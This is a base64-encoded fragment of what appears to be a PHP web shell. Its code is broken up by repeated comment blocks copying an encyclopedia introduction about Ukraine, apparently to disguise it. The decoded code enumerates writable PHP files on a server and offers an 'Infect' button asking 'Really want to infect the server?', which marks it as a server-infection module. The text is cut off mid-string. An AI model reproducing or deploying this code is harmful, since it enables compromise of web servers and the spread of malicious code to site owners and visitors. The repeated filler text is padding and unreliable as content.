IERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCQl9CgkJCQkJfQoJCQkJCWNsb3NlZGlyKCRkaCk7CgkJCQkJcmV0dXJuICRmaWxlczsKCQkJCX0KCQkJfQoJCQlmb3JlYWNoIChMaXN0RmlsZXMoJHRhcmdldCkgYXMgJGtleT0+JGZpbGUpewoJCQkJJG5GaWxlID0gc3Vic3RyKCRmaWxlLCAtNCwgNCk7CgkJCQlpZigkbkZpbGUgPT0gIi5waHAiICl7CgkJCQkJaWYoKCRmaWxlPD4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiRfU0VSVkVSWydQSFBfU0VMRiddKSYmKGlzX3dyaXRlYWJsZSgkZmlsZSkpKXsKCQkJCQkJZWNobyAiJGZpbGU8YnI+IjsKCQkJCQkJJGkrKzsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJfQoJCQkJfQoJCQl9Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0xND4kaTwvZm9udD4iOwoJCX1lbHNlewoJCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9SW5mZWN0IG5hbWU9aW5mZXQ+PC9mb3JtPiI7CgkJCWVjaG8gJ1JlYWxseSB3YW50IHRvIGluZmVjdCB0aGUgc2VydmVyPyZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ2luZmVjdFwnKSI+WWVzPC9hPjwvZGl2Pic7CgkJfQoJcHJpbnRGb290ZXIoKTsKfQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhc